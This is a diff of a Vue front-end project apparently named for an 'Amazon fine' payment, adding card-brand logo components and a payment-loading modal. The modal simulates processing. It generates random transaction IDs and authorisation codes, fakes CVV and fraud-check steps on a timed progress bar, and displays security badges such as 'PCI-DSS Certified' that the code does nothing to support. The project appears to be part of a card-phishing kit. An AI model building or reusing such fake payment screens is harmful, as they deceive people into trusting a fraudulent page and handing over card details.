37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 4.7 KiB |
1
a9_usa_Fine_amazon/src/assets/img/d9f501073fcfa (1).svg
Normal file
|
After Width: | Height: | Size: 9.3 KiB |
1
a9_usa_Fine_amazon/src/assets/img/d9f501073fcfa.svg
Normal file
|
After Width: | Height: | Size: 9.3 KiB |
1
a9_usa_Fine_amazon/src/assets/img/default.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>
|
||||
|
After Width: | Height: | Size: 300 B |
1
a9_usa_Fine_amazon/src/assets/img/e62e66803fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>
|
||||
|
After Width: | Height: | Size: 2.2 KiB |
BIN
a9_usa_Fine_amazon/src/assets/img/mir.jpg
Normal file
|
After Width: | Height: | Size: 26 KiB |
0
a9_usa_Fine_amazon/src/assets/main.css
Normal file
843
a9_usa_Fine_amazon/src/components/.env
Normal file
58
a9_usa_Fine_amazon/src/components/CardType1.vue
Normal file
@@ -0,0 +1,58 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width:80px" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
58
a9_usa_Fine_amazon/src/components/CardType2.vue
Normal file
@@ -0,0 +1,58 @@
|
||||
<template>
|
||||
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { defineComponent, computed } from "vue";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
|
||||
export default defineComponent({
|
||||
name: "CardLogo",
|
||||
props: {
|
||||
cardType: {
|
||||
type: String,
|
||||
required: true,
|
||||
},
|
||||
},
|
||||
setup(props) {
|
||||
const logoSrc = computed(() => {
|
||||
const cardTypeUpper = props.cardType.toLocaleUpperCase();
|
||||
|
||||
if (cardTypeUpper.includes("VISA")) {
|
||||
return c1;
|
||||
} else if (cardTypeUpper.includes("MASTERCARD")) {
|
||||
return c2;
|
||||
} else if (cardTypeUpper.includes("JCB")) {
|
||||
return c3;
|
||||
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
|
||||
return c4;
|
||||
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
|
||||
return c5;
|
||||
} else if (cardTypeUpper.includes("DISCOVER")) {
|
||||
return c6;
|
||||
} else if (cardTypeUpper.includes("MAESTRO")) {
|
||||
return c7;
|
||||
} else if (cardTypeUpper.includes("DINNERS")) {
|
||||
return c8;
|
||||
}
|
||||
// 你可以添加更多的卡类型和对应的图片
|
||||
return null; // 如果没有匹配的卡类型,则不显示图片
|
||||
});
|
||||
|
||||
return {
|
||||
logoSrc,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* 可以在这里添加样式 */
|
||||
</style>
|
||||
673
a9_usa_Fine_amazon/src/components/PaymentLoadingModal.vue
Normal file
@@ -0,0 +1,673 @@
|
||||
<template>
|
||||
<transition name="plm-fade">
|
||||
<div v-if="visible" class="plm-overlay" @click="handleOverlayClick">
|
||||
<transition name="plm-slide">
|
||||
<div v-if="visible" class="plm-dialog" @click.stop>
|
||||
|
||||
<!-- Dialog Header -->
|
||||
<div class="plm-dialog-header">
|
||||
<div class="plm-header-left">
|
||||
<div class="plm-header-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
|
||||
<rect x="1" y="4" width="22" height="16" rx="2" ry="2"></rect>
|
||||
<line x1="1" y1="10" x2="23" y2="10"></line>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="plm-header-text">
|
||||
<span class="plm-header-title">{{ t("payment_loading.modal_title") }}</span>
|
||||
<span class="plm-header-sub">{{ t("payment_loading.modal_subtitle") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="plm-header-pct">{{ Math.floor(progress) }}%</div>
|
||||
</div>
|
||||
|
||||
<!-- Dialog Body -->
|
||||
<div class="plm-dialog-body">
|
||||
|
||||
<!-- Card + progress -->
|
||||
<div class="plm-center-wrap">
|
||||
<div class="plm-card-logo">
|
||||
<img :src="imgRef" alt="card" />
|
||||
<div class="plm-scan-line"></div>
|
||||
</div>
|
||||
|
||||
<div class="plm-progress-section">
|
||||
<div class="plm-progress-track">
|
||||
<div class="plm-progress-fill" :style="{ width: progress + '%' }"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="plm-status-msg">
|
||||
<span class="plm-dot-pulse"></span>
|
||||
<span>{{ progressMessage }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Security badges -->
|
||||
<div class="plm-badges">
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/>
|
||||
</svg>
|
||||
<span>{{ t("SSL Encryption") }}</span>
|
||||
</div>
|
||||
<div class="plm-badge-sep"></div>
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/>
|
||||
</svg>
|
||||
<span>{{ t("PCI-DSS Certified") }}</span>
|
||||
</div>
|
||||
<div class="plm-badge-sep"></div>
|
||||
<div class="plm-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M3,6h18c.55,0,1,.45,1,1v10c0,.55-.45,1-1,1H3c-.55,0-1-.45-1-1V7C2,6.45,2.45,6,3,6zM20,10H4v6h16V10zM16,12h3v2h-3V12z"/>
|
||||
</svg>
|
||||
<span>{{ t("Safe payment") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Transaction details -->
|
||||
<div class="plm-details" v-if="showDetails">
|
||||
<div class="plm-details-title">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor">
|
||||
<path d="M14,2H6A2,2,0,0,0,4,4V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V8ZM16,18H8V16h8Zm0-4H8V12h8ZM13,9V3.5L18.5,9Z"/>
|
||||
</svg>
|
||||
{{ t("payment_loading.transaction_details") }}
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.transaction_id") }}</span>
|
||||
<span class="plm-detail-val">{{ transactionId }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.processing_network") }}</span>
|
||||
<span class="plm-detail-val">{{ processingNetwork }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.processing_time") }}</span>
|
||||
<span class="plm-detail-val">{{ processingTime }}</span>
|
||||
</div>
|
||||
<div class="plm-detail-row">
|
||||
<span class="plm-detail-label">{{ t("payment_loading.security_level") }}</span>
|
||||
<span class="plm-detail-val plm-green">{{ securityLevel }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</transition>
|
||||
</div>
|
||||
</transition>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { ref, watch, onUnmounted, computed } from "vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
import c9 from "@/assets/img/mir.jpg";
|
||||
import c10 from "@/assets/img/80066acd3fcfa.svg";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────
|
||||
interface Props {
|
||||
visible: boolean;
|
||||
cardNumber?: string;
|
||||
loading?: boolean;
|
||||
closable?: boolean;
|
||||
maskClosable?: boolean;
|
||||
autoClose?: boolean;
|
||||
autoCloseDelay?: number;
|
||||
}
|
||||
|
||||
interface Emits {
|
||||
(e: 'update:visible', value: boolean): void;
|
||||
(e: 'close'): void;
|
||||
(e: 'step-change', step: number): void;
|
||||
}
|
||||
|
||||
const props = withDefaults(defineProps<Props>(), {
|
||||
visible: false,
|
||||
cardNumber: "",
|
||||
loading: true,
|
||||
closable: true,
|
||||
maskClosable: true,
|
||||
autoClose: false,
|
||||
autoCloseDelay: 5000
|
||||
});
|
||||
|
||||
const emit = defineEmits<Emits>();
|
||||
|
||||
// ── State ──────────────────────────────────────────────────
|
||||
const progress = ref(0);
|
||||
const progressMessage = ref(t('payment_loading.preparing'));
|
||||
const intervalId = ref<ReturnType<typeof setInterval> | ReturnType<typeof setTimeout> | null>(null);
|
||||
const showSpinner = ref(false);
|
||||
const transactionId = ref('');
|
||||
const authCode = ref('');
|
||||
const processingNetwork = ref('');
|
||||
const processingTime = ref('');
|
||||
const securityLevel = ref(t('payment_loading.high'));
|
||||
const showDetails = ref(false);
|
||||
const imgRef = ref<string>(c8);
|
||||
const autoCloseTimer = ref<number | null>(null);
|
||||
|
||||
// ── Computed ───────────────────────────────────────────────
|
||||
const cardType = computed(() => {
|
||||
const num = props.cardNumber.replace(/\D/g, '');
|
||||
if (/^4/.test(num)) return 'VISA';
|
||||
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'MASTERCARD';
|
||||
if (/^(62|81)/.test(num)) return 'CHINA UNION PAY';
|
||||
if (/^3[347]/.test(num)) return 'AMERICAN EXPRESS';
|
||||
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'DISCOVER';
|
||||
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
|
||||
if (/^(30|36|38|39)/.test(num)) return 'DINNERS';
|
||||
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'MAESTRO';
|
||||
if (/^220[0-4]/.test(num)) return 'MIR';
|
||||
return 'Generic';
|
||||
});
|
||||
|
||||
// ── Progress steps ─────────────────────────────────────────
|
||||
const progressSteps = [
|
||||
{ threshold: 0, message: t('payment_loading.step_init') },
|
||||
{ threshold: 10, message: t('payment_loading.step_encrypt') },
|
||||
{ threshold: 20, message: t('payment_loading.step_connect') },
|
||||
{ threshold: 30, message: t('payment_loading.step_verify_card') },
|
||||
{ threshold: 40, message: t('payment_loading.step_validate_cvv') },
|
||||
{ threshold: 50, message: t('payment_loading.step_fraud') },
|
||||
{ threshold: 60, message: t('payment_loading.step_send') },
|
||||
{ threshold: 70, message: t('payment_loading.step_wait_auth') },
|
||||
{ threshold: 80, message: t('payment_loading.step_process_resp') },
|
||||
{ threshold: 90, message: t('payment_loading.step_confirm') },
|
||||
{ threshold: 95, message: t('payment_loading.step_finalize') },
|
||||
{ threshold: 100, message: '' },
|
||||
];
|
||||
|
||||
// ── Functions ──────────────────────────────────────────────
|
||||
function getCreditCardType(type: string | null): string {
|
||||
if (!type) return c8;
|
||||
const u = type.toLocaleUpperCase();
|
||||
if (u.includes("VISA")) return c1;
|
||||
if (u.includes("MASTERCARD")) return c2;
|
||||
if (u.includes("JCB")) return c3;
|
||||
if (u.includes("CHINA UNION PAY")) return c4;
|
||||
if (u.includes("AMERICAN EXPRESS"))return c5;
|
||||
if (u.includes("DISCOVER")) return c6;
|
||||
if (u.includes("MAESTRO")) return c7;
|
||||
if (u.includes("DINNERS")) return c8;
|
||||
if (u.includes("MIR")) return c9;
|
||||
return c10;
|
||||
}
|
||||
|
||||
const generateTransactionDetails = (typeData: string) => {
|
||||
const type = typeData.toUpperCase();
|
||||
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
transactionId.value = Array.from({ length: 12 }, () => chars[Math.floor(Math.random() * chars.length)]).join('');
|
||||
authCode.value = Array.from({ length: 6 }, () => Math.floor(Math.random() * 10)).join('');
|
||||
processingNetwork.value =
|
||||
type === 'VISA' ? t('payment_loading.network_visa') :
|
||||
type === 'MASTERCARD' ? t('payment_loading.network_mastercard') :
|
||||
type === 'AMERICAN EXPRESS' ? t('payment_loading.network_amex') :
|
||||
type === 'CHINA UNION PAY' ? t('payment_loading.network_unionpay') :
|
||||
t('payment_loading.network_intl');
|
||||
processingTime.value = t('payment_loading.time_seconds', { time: (Math.random() * 2 + 1.5).toFixed(2) });
|
||||
};
|
||||
|
||||
const animateProgress = () => {
|
||||
if (intervalId.value) clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
const breakpoints = [
|
||||
{ point: 20, delay: 700 },
|
||||
{ point: 40, delay: 500 },
|
||||
{ point: 70, delay: 1200 },
|
||||
{ point: 90, delay: 600 },
|
||||
];
|
||||
const getBreakpoint = () => breakpoints.find(bp => Math.abs(progress.value - bp.point) < 1);
|
||||
|
||||
intervalId.value = setInterval(() => {
|
||||
const breakpoint = getBreakpoint();
|
||||
if (breakpoint) {
|
||||
const increment = Math.random() * 0.2;
|
||||
progress.value = Math.min(progress.value + increment, 95);
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
setTimeout(() => {
|
||||
if (breakpoint.point === 70) showDetails.value = true;
|
||||
animateProgress();
|
||||
}, breakpoint.delay);
|
||||
return;
|
||||
}
|
||||
|
||||
let increment: number;
|
||||
if (progress.value < 30) increment = Math.random() * 1 + 0.5;
|
||||
else if (progress.value < 65) increment = Math.random() * 0.8 + 0.3;
|
||||
else if (progress.value < 85) increment = Math.random() * 0.5 + 0.1;
|
||||
else increment = Math.random() * 0.3 + 0.05;
|
||||
|
||||
progress.value = Math.min(progress.value + increment, 95);
|
||||
|
||||
for (let i = progressSteps.length - 1; i >= 0; i--) {
|
||||
if (progress.value >= progressSteps[i].threshold) {
|
||||
progressMessage.value = progressSteps[i].message;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!props.loading) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
progress.value = 100;
|
||||
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||
}
|
||||
}, 300);
|
||||
};
|
||||
|
||||
const clearAutoCloseTimer = () => {
|
||||
if (autoCloseTimer.value) {
|
||||
clearTimeout(autoCloseTimer.value);
|
||||
autoCloseTimer.value = null;
|
||||
}
|
||||
};
|
||||
|
||||
const closeModal = () => {
|
||||
clearAutoCloseTimer();
|
||||
emit('update:visible', false);
|
||||
emit('close');
|
||||
};
|
||||
|
||||
const handleOverlayClick = () => {
|
||||
if (props.maskClosable) closeModal();
|
||||
};
|
||||
|
||||
// ── Watchers ───────────────────────────────────────────────
|
||||
watch(() => props.visible, (newVisible) => {
|
||||
if (newVisible) {
|
||||
const type = cardType.value || localStorage.getItem("cardType");
|
||||
imgRef.value = getCreditCardType(type);
|
||||
if (props.autoClose) {
|
||||
autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
|
||||
}
|
||||
} else {
|
||||
clearAutoCloseTimer();
|
||||
}
|
||||
});
|
||||
|
||||
watch(() => props.loading, (isLoading) => {
|
||||
if (isLoading) {
|
||||
showSpinner.value = true;
|
||||
progress.value = 0;
|
||||
progressMessage.value = progressSteps[0].message;
|
||||
generateTransactionDetails(cardType.value);
|
||||
animateProgress();
|
||||
} else {
|
||||
if (intervalId.value) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
}
|
||||
const completeProgress = () => {
|
||||
const currentProgress = progress.value;
|
||||
const step = Math.max((100 - currentProgress) / 10, 1);
|
||||
progress.value = Math.min(currentProgress + step, 100);
|
||||
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||
if (progress.value < 100) {
|
||||
intervalId.value = setTimeout(completeProgress, 10);
|
||||
} else {
|
||||
setTimeout(() => { showSpinner.value = false; }, 500);
|
||||
}
|
||||
};
|
||||
completeProgress();
|
||||
}
|
||||
}, { immediate: true });
|
||||
|
||||
// ── Lifecycle ──────────────────────────────────────────────
|
||||
onUnmounted(() => {
|
||||
clearAutoCloseTimer();
|
||||
if (intervalId.value) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
<style scoped>
|
||||
/* ===== Transitions ===== */
|
||||
.plm-fade-enter-active,
|
||||
.plm-fade-leave-active {
|
||||
transition: opacity 0.3s ease;
|
||||
}
|
||||
.plm-fade-enter-from,
|
||||
.plm-fade-leave-to {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.plm-slide-enter-active {
|
||||
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
}
|
||||
.plm-slide-leave-active {
|
||||
transition: opacity 0.2s ease, transform 0.2s ease;
|
||||
}
|
||||
.plm-slide-enter-from {
|
||||
opacity: 0;
|
||||
transform: translateY(20px) scale(0.97);
|
||||
}
|
||||
.plm-slide-leave-to {
|
||||
opacity: 0;
|
||||
transform: translateY(8px) scale(0.99);
|
||||
}
|
||||
|
||||
/* ===== Overlay ===== */
|
||||
.plm-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(30, 41, 59, 0.4);
|
||||
backdrop-filter: blur(8px);
|
||||
-webkit-backdrop-filter: blur(8px);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
padding: 20px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
/* ===== Dialog ===== */
|
||||
.plm-dialog {
|
||||
width: 100%;
|
||||
max-width: 380px;
|
||||
background: #fff;
|
||||
border-radius: 18px;
|
||||
overflow: hidden;
|
||||
box-shadow:
|
||||
0 0 0 1px rgba(148, 163, 184, 0.15),
|
||||
0 8px 24px -4px rgba(15, 23, 42, 0.12),
|
||||
0 32px 64px -16px rgba(15, 23, 42, 0.14);
|
||||
}
|
||||
|
||||
/* ===== Header ===== */
|
||||
.plm-dialog-header {
|
||||
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
|
||||
border-bottom: 1px solid #e8edf3;
|
||||
padding: 18px 20px 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.plm-header-left {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.plm-header-icon {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
background: #fff;
|
||||
border: 1px solid #e2e8f0;
|
||||
border-radius: 10px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
flex-shrink: 0;
|
||||
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
|
||||
}
|
||||
|
||||
.plm-header-icon svg {
|
||||
width: 17px;
|
||||
height: 17px;
|
||||
color: var(--global-primary-color, #4f7ef8);
|
||||
}
|
||||
|
||||
.plm-header-text {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 2px;
|
||||
}
|
